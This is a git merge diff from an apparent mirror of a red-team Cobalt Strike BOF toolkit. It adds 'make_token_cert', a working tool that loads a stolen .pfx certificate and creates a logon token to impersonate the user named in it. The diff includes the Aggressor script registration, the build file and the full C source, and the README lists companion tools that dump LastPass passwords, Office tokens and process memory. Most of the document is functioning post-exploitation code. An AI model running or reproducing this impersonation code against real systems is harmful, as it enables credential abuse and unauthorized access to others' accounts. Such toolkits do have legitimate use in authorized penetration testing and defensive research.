mirror of
https://github.com/trustedsec/CS-Remote-OPs-BOF
synced 2026-06-08 17:56:11 +00:00
Merge branch 'make_token_cert'
This commit is contained in:
@@ -24,6 +24,7 @@ You are welcome to use these, but issues opened related to these will be closed
|
||||
|get_priv| Activate the specified token privledge, more for non-cobalt strike users|
|
||||
|global_unprotect| Locates and Decrypts GlobalProtect config files converted from: [GlobalUnProtect](https://github.com/rotarydrone/GlobalUnProtect/tree/409d64b097e0a928a5545051e40e1566e9c26bd0)|
|
||||
|lastpass | Search Chrome, brave memory for LastPass passwords and data|
|
||||
|make_token_cert| impersonates a user using the altname of a .pfx file |
|
||||
|office_tokens| Collect Office JWT Tokens from any Office process|
|
||||
|procdump| Dump the specified process to the specified output file|
|
||||
|ProcessDestroy| Close handle(s) in a process|
|
||||
|
||||
+57
-1
@@ -2076,4 +2076,60 @@ beacon_command_register(
|
||||
"Usage: global_unprotect
|
||||
|
||||
There are no arguments to this command"
|
||||
)
|
||||
)
|
||||
sub bschtaskscreate
|
||||
{
|
||||
local('$server $taskpath $taskxml $dialog $fpath $fp $bid $fdata $mode $index $force $args');
|
||||
$bid = $1;
|
||||
$server = "";
|
||||
$fp = $null;
|
||||
$taskpath = $2;
|
||||
$mode = 1;
|
||||
$force = 1;
|
||||
$fpath = $3;
|
||||
if(!-canread $fpath)
|
||||
{
|
||||
berror($bid, "Unable to read the xml task definition file: $fpath");
|
||||
return;
|
||||
}
|
||||
$fp = openf($fpath);
|
||||
$fdata = readb($fp, -1);
|
||||
closef($fp);
|
||||
|
||||
$args = bof_pack($bid, "ZZZii", $server, $taskpath, $fdata, $mode, $force);
|
||||
beacon_inline_execute($bid, readbof($bid, "schtaskscreate"), "go", $args);
|
||||
}
|
||||
|
||||
alias make_token_cert
|
||||
{
|
||||
local('$handle $certpath $cert $password $args');
|
||||
if(size(@_) < 2)
|
||||
{
|
||||
berror($1, "usage: make_token_cert <.pfx local path> [opt: .pfx password]");
|
||||
return;
|
||||
}
|
||||
$certpath = $2;
|
||||
$password = iff($3, $3, "");
|
||||
if(!-canread $certpath)
|
||||
{
|
||||
berror($1, "Unable to read $certpath on local system");
|
||||
return;
|
||||
}
|
||||
$handle = openf($certpath);
|
||||
$cert = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
$args = bof_pack($1, "bZ", $cert, $password);
|
||||
beacon_inline_execute($1, readbof($1, "make_token_cert"), "go", $args);
|
||||
}
|
||||
|
||||
beacon_command_register(
|
||||
"make_token_cert",
|
||||
"Applies an impersonation token based on the Alt Name in a supplied .pfx file",
|
||||
"Command: make_token_cert
|
||||
|
||||
Usage make_token_cert <path to .pfx> [opt: password]
|
||||
|
||||
Takes the path to a .pfx and optionally the password to decrypt the .pfx.
|
||||
Reads it into the certificate store for the current user and creates an impersonation token with it.
|
||||
Then deletes it from the users certificate store.");
|
||||
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,25 @@
|
||||
BOFNAME := make_token_cert
|
||||
COMINCLUDE := -I ../../common
|
||||
LIBINCLUDE := -lnetapi32
|
||||
CC_x64 := x86_64-w64-mingw32-gcc
|
||||
CC_x86 := i686-w64-mingw32-gcc
|
||||
CC := x86_64-w64-mingw32-clang
|
||||
|
||||
all:
|
||||
$(CC_x64) -o $(BOFNAME).x64.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE
|
||||
$(CC_x86) -o $(BOFNAME).x86.o $(COMINCLUDE) -Os -c entry.c -DBOF -DCOBALTSTRIKE
|
||||
mkdir -p ../../../Remote/$(BOFNAME)
|
||||
mv $(BOFNAME)*.o ../../../Remote/$(BOFNAME)
|
||||
|
||||
test:
|
||||
$(CC_x64) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x64.exe
|
||||
$(CC_x86) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).x86.exe
|
||||
|
||||
scanbuild:
|
||||
$(CC) entry.c $(COMINCLUDE) $(LIBINCLUDE) -o $(BOFNAME).scanbuild.exe
|
||||
|
||||
check:
|
||||
cppcheck --enable=all --suppress=missingIncludeSystem --suppress=unusedFunction $(COMINCLUDE) --platform=win64 entry.c
|
||||
|
||||
clean:
|
||||
rm $(BOFNAME).*.exe
|
||||
@@ -0,0 +1,211 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <lmaccess.h>
|
||||
#include "beacon.h"
|
||||
#include "bofdefs.h"
|
||||
#include <wincred.h>
|
||||
#include "base.c"
|
||||
|
||||
|
||||
// void hex_to_bytes(const char *hex_str, unsigned char *byte_array, size_t *len) {
|
||||
// size_t hex_len = MSVCRT$strlen(hex_str);
|
||||
// if (hex_len % 2 != 0) {
|
||||
// // Hex string length must be even
|
||||
// *len = 0;
|
||||
// return;
|
||||
// }
|
||||
|
||||
// *len = hex_len / 2;
|
||||
|
||||
// for (size_t i = 0; i < *len; i++) {
|
||||
// MSVCRT$sscanf(hex_str + 2 * i, "%2x", &(byte_array[i]));
|
||||
// }
|
||||
// }
|
||||
//thumbprint is assumed to have at least 20 bytes of space
|
||||
HCERTSTORE LoadCert(unsigned char * cert, const wchar_t * password, DWORD certlen, DWORD passlen, PCCERT_CONTEXT * pcert)
|
||||
{
|
||||
CRYPT_DATA_BLOB pfxData;
|
||||
pfxData.cbData = certlen;
|
||||
pfxData.pbData = cert;
|
||||
*pcert = NULL;
|
||||
PCCERT_CONTEXT pnewcert;
|
||||
HCERTSTORE hCertStore = CRYPT32$CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, 0, CERT_SYSTEM_STORE_CURRENT_USER, L"MY");
|
||||
if (!hCertStore) {
|
||||
internal_printf("Failed to open the certificate store. Error: %lu\n", KERNEL32$GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
|
||||
HCERTSTORE store = CRYPT32$PFXImportCertStore(&pfxData, NULL, CRYPT_USER_KEYSET);
|
||||
if(store == NULL)
|
||||
{
|
||||
internal_printf("Failed to improt cert, make sure its in the right format: %x\n", KERNEL32$GetLastError());
|
||||
return NULL;
|
||||
}
|
||||
*pcert = CRYPT32$CertEnumCertificatesInStore(store, NULL);
|
||||
CRYPT32$CertAddCertificateContextToStore(hCertStore, *pcert, CERT_STORE_ADD_ALWAYS, &pnewcert);
|
||||
CRYPT32$CertDeleteCertificateFromStore(*pcert);
|
||||
CRYPT32$CertCloseStore(store, 0);
|
||||
*pcert = pnewcert;
|
||||
return hCertStore;
|
||||
}
|
||||
|
||||
//thumbprint is assumed to be >= 20 bytes
|
||||
void ImpersonateUser(PCCERT_CONTEXT pCertContext)
|
||||
{
|
||||
DWORD hashSize = 20;
|
||||
CERT_CREDENTIAL_INFO ci;
|
||||
ci.cbSize = sizeof(CERT_CREDENTIAL_INFO);
|
||||
LPWSTR creds;
|
||||
if(!CRYPT32$CertGetCertificateContextProperty(pCertContext, CERT_HASH_PROP_ID, ci.rgbHashOfCert, &hashSize))
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to get Thumbprint: %d", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
internal_printf("Cert Thumbprint: ");
|
||||
for (DWORD i = 0; i < hashSize; i++) {
|
||||
internal_printf("%02X", ci.rgbHashOfCert[i]);
|
||||
}
|
||||
internal_printf("\n");
|
||||
if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds))
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
HANDLE hToken = NULL;
|
||||
if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken))
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
#ifdef COBALTSTRIKE
|
||||
BeaconUseToken(hToken); //This does not appear to properly show the correct user currently, but leaving it for when CS fixes it.
|
||||
#else
|
||||
if(!ADVAPI32$ImpersonateLoggedOnUser(hToken))
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError());
|
||||
return;
|
||||
}
|
||||
#endif
|
||||
BeaconPrintf(CALLBACK_OUTPUT, "success");
|
||||
|
||||
}
|
||||
|
||||
#ifdef BOF
|
||||
VOID go(
|
||||
IN PCHAR Buffer,
|
||||
IN ULONG Length
|
||||
)
|
||||
{
|
||||
DWORD dwErrorCode = ERROR_SUCCESS;
|
||||
datap parser;
|
||||
DWORD len, passlen;
|
||||
BeaconDataParse(&parser, Buffer, Length);
|
||||
unsigned char * cert = (unsigned char *)BeaconDataExtract(&parser, (int *)&len); // $2
|
||||
LPWSTR password = (LPWSTR)BeaconDataExtract(&parser, (int *)&passlen);
|
||||
if(!bofstart())
|
||||
{
|
||||
return;
|
||||
}
|
||||
internal_printf("Loading Cert into temp store\n");
|
||||
PCCERT_CONTEXT pcert = NULL;
|
||||
HCERTSTORE store = LoadCert(cert, password, len, passlen, &pcert);
|
||||
if(pcert != NULL)
|
||||
{
|
||||
ImpersonateUser(pcert);
|
||||
internal_printf("success\n");
|
||||
CRYPT32$CertDeleteCertificateFromStore(pcert);
|
||||
CRYPT32$CertCloseStore(store, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
internal_printf("failed\n");
|
||||
}
|
||||
|
||||
|
||||
go_end:
|
||||
printoutput(TRUE);
|
||||
|
||||
bofstop();
|
||||
};
|
||||
|
||||
// VOID go(
|
||||
// IN PCHAR Buffer,
|
||||
// IN ULONG Length
|
||||
// )
|
||||
// {
|
||||
// DWORD dwErrorCode = ERROR_SUCCESS;
|
||||
// datap parser;
|
||||
// size_t len;
|
||||
// BeaconDataParse(&parser, Buffer, Length);
|
||||
// LPSTR certHash = BeaconDataExtract(&parser, (int *)&len); // $2
|
||||
// CERT_CREDENTIAL_INFO ci;
|
||||
// ci.cbSize = sizeof(CERT_CREDENTIAL_INFO);
|
||||
// len--; //delete null
|
||||
// BeaconPrintf(CALLBACK_OUTPUT, "Converting %s : %d to bytes\n", certHash,len);
|
||||
|
||||
// if(len > 40)
|
||||
// {
|
||||
// BeaconPrintf(CALLBACK_ERROR, "Hash isn't the right length\n");
|
||||
// return;
|
||||
// }
|
||||
// hex_to_bytes(certHash, ci.rgbHashOfCert, &len); //Could blow up if a string isn't right, just for testing here
|
||||
// // for(int i = 0; i < len; i++)
|
||||
// // {
|
||||
// // BeaconPrintf(CALLBACK_OUTPUT, "%2X", ci.rgbHashOfCert[i]);
|
||||
// // }
|
||||
// BeaconPrintf(CALLBACK_OUTPUT, "converted %x : %d", ci.rgbHashOfCert, len);
|
||||
// LPWSTR creds = NULL;
|
||||
// if(!ADVAPI32$CredMarshalCredentialW(1, &ci, &creds))
|
||||
// {
|
||||
// BeaconPrintf(CALLBACK_ERROR, "Failed to marshal creds: %d", KERNEL32$GetLastError());
|
||||
// return;
|
||||
// }
|
||||
// BeaconPrintf(CALLBACK_OUTPUT, "success");
|
||||
// HANDLE hToken = NULL;
|
||||
// if(!ADVAPI32$LogonUserW(creds, NULL, NULL, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken))
|
||||
// {
|
||||
// BeaconPrintf(CALLBACK_ERROR, "Failed to Logon: %d", KERNEL32$GetLastError());
|
||||
// return;
|
||||
// }
|
||||
// if(!ADVAPI32$ImpersonateLoggedOnUser(hToken))
|
||||
// {
|
||||
// BeaconPrintf(CALLBACK_ERROR, "Failed to impersonate: %d", KERNEL32$GetLastError());
|
||||
// return;
|
||||
// }
|
||||
// // if(!bofstart())
|
||||
// // {
|
||||
// // return;
|
||||
// // }
|
||||
|
||||
// go_end:
|
||||
// // printoutput(TRUE);
|
||||
|
||||
// // bofstop();
|
||||
// };
|
||||
#else
|
||||
#define TEST_USERNAME L"Guest"
|
||||
#define TEST_HOSTNAME NULL
|
||||
#define TEST_PASSWORD L"Password123!"
|
||||
|
||||
int main(int argc, char ** argv)
|
||||
{
|
||||
DWORD dwErrorCode = ERROR_SUCCESS;
|
||||
LPWSTR lpswzUserName = TEST_USERNAME;
|
||||
LPWSTR lpswzPassword = TEST_PASSWORD;
|
||||
LPWSTR lpswzServerName = TEST_HOSTNAME;
|
||||
|
||||
internal_printf("Adding %S to %S\n", lpswzUserName, lpswzServerName ? lpswzServerName : L"the local machine" );
|
||||
|
||||
dwErrorCode = AddUser(lpswzUserName, lpswzPassword, lpswzServerName);
|
||||
if ( ERROR_SUCCESS != dwErrorCode )
|
||||
{
|
||||
BeaconPrintf(CALLBACK_ERROR, "Adding user failed: %lX\n", dwErrorCode);
|
||||
goto main_end;
|
||||
}
|
||||
|
||||
internal_printf("SUCCESS.\n");
|
||||
|
||||
main_end:
|
||||
return dwErrorCode;
|
||||
}
|
||||
#endif
|
||||
@@ -9,6 +9,7 @@
|
||||
#include <stdio.h>
|
||||
#include <windns.h>
|
||||
#include <dbghelp.h>
|
||||
#include <wincred.h>
|
||||
#include <security.h>
|
||||
#include <winldap.h>
|
||||
#include <winnetwk.h>
|
||||
@@ -127,6 +128,7 @@ WINBASEAPI ULONG WINAPI IPHLPAPI$GetTcpTable (PMIB_TCPTABLE TcpTable, PULONG Siz
|
||||
//MSVCRT
|
||||
WINBASEAPI char * __cdecl MSVCRT$strcat(char * __restrict__ _Dest,const char * __restrict__ _Source);
|
||||
WINBASEAPI int __cdecl MSVCRT$_snprintf(char * __restrict__ _Dest,size_t _Count,const char * __restrict__ _Format,...);
|
||||
WINBASEAPI int __cdecl MSVCRT$sscanf(const char * __restrict__ _Src,const char * __restrict__ _Format,...);
|
||||
WINBASEAPI void *__cdecl MSVCRT$calloc(size_t _NumOfElements, size_t _SizeOfElements);
|
||||
WINBASEAPI void *__cdecl MSVCRT$realloc(void *_Memory, size_t _NewSize);
|
||||
WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);
|
||||
@@ -164,6 +166,7 @@ DECLSPEC_IMPORT int __cdecl MSVCRT$rand(void);
|
||||
_CRTIMP __time32_t __cdecl MSVCRT$_time32(__time32_t *_Time);
|
||||
WINBASEAPI int __cdecl MSVCRT$_snwprintf(wchar_t * __restrict__ _Dest,size_t _Count,const wchar_t * __restrict__ _Format,...);
|
||||
|
||||
_CRTIMP __time64_t __cdecl MSVCRT$_time64(__time64_t *_Time);
|
||||
|
||||
//SHLWAPI
|
||||
WINBASEAPI LPWSTR WINAPI SHLWAPI$PathCombineW(LPWSTR pszDest,LPCWSTR pszDir,LPCWSTR pszFile);
|
||||
@@ -180,12 +183,23 @@ WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType);
|
||||
//WSOCK32
|
||||
WINBASEAPI unsigned long WINAPI WSOCK32$inet_addr(const char *cp);
|
||||
|
||||
|
||||
|
||||
//WS2_32
|
||||
WINBASEAPI u_long WINAPI WS2_32$htonl(u_long hostlong);
|
||||
WINBASEAPI u_short WINAPI WS2_32$htons(u_short hostshort);
|
||||
WINBASEAPI char * WINAPI WS2_32$inet_ntoa(struct in_addr in);
|
||||
WINBASEAPI LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze);
|
||||
WINBASEAPI INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr);
|
||||
WINBASEAPI int WINAPI WS2_32$WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData);
|
||||
WINBASEAPI int WINAPI WS2_32$WSAGetLastError(void);
|
||||
WINBASEAPI int WINAPI WS2_32$socket(int af,int type,int protocol);
|
||||
WINBASEAPI int WINAPI WS2_32$setsockopt(SOCKET s,int level,int optname,const char *optval,int optlen);
|
||||
WINBASEAPI int WINAPI WS2_32$sendto(SOCKET s,const char *buf,int len,int flags,const struct sockaddr *to,int tolen);
|
||||
WINBASEAPI int WINAPI WS2_32$recvfrom(SOCKET s,char *buf,int len,int flags,struct sockaddr *from,int *fromlen);
|
||||
WINBASEAPI int WINAPI WS2_32$closesocket(SOCKET s);
|
||||
WINBASEAPI int WINAPI WS2_32$WSACleanup(void);
|
||||
WINBASEAPI int WINAPI WS2_32$ntohs(u_short netshort);
|
||||
|
||||
//NETAPI32
|
||||
WINBASEAPI DWORD WINAPI NETAPI32$DsGetDcNameA(LPCSTR ComputerName,LPCSTR DomainName,GUID *DomainGuid,LPCSTR SiteName,ULONG Flags,PDOMAIN_CONTROLLER_INFOA *DomainControllerInfo);
|
||||
@@ -281,6 +295,7 @@ HRESULT WINAPI FLTLIB$FilterUnload(LPCWSTR lpFilterName);
|
||||
//ADVAPI32
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountNameA (LPCSTR lpSystemName, LPCSTR lpAccountName, PSID Sid, LPDWORD cbSid, LPSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$GetUserNameA (LPSTR lpBuffer, LPDWORD pcbBuffer);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser (HANDLE hToken);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA (LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW (LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx (HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken);
|
||||
@@ -300,6 +315,8 @@ WINADVAPI WINBOOL WINAPI ADVAPI32$LookupPrivilegeValueA (LPCSTR lpSystemName, LP
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded);
|
||||
WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping);
|
||||
WINADVAPI ULONG WINAPI ADVAPI32$LsaNtStatusToWinError(NTSTATUS);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$CredMarshalCredentialW(CRED_MARSHAL_TYPE CredType,PVOID Credential,LPWSTR *MarshaledCredential);
|
||||
WINADVAPI VOID WINAPI ADVAPI32$CredFree (PVOID Buffer);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted);
|
||||
WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen);
|
||||
|
||||
Reference in New Issue
Block a user